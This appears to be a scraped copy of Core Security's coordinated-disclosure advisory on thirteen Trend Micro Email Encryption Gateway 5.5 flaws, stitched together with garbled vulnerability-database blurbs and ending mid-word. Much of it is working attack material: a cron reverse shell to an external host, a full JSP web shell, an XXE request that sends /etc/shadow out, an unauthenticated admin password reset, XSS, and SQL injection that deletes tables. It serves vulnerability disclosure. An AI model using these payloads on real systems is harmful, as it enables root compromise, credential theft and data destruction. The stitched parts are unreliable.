An arbitrary file write vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to inject arbitrary data, which may lead to gaining code execution on vulnerable systems. Trend Micro Email Encryption Gateway Contains an injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Failed exploit attempts will result in a denial-of-service condition. *Advisory Information* Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities Advisory ID: CORE-2017-0006 Advisory URL: http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities Date published: 2018-02-21 Date of last update: 2018-02-21 Vendors contacted: Trend Micro Release mode: Coordinated release 2. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Security Notes: . https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

A stored cross-site scripting (XSS) vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to inject client-side scripts into vulnerable systems. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. The policy script in TMEEG 5.5 Build 1111 and earlier versions has a cross-site scripting vulnerability, which is caused by the fact that the program does not correctly verify the input submitted by the user. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of 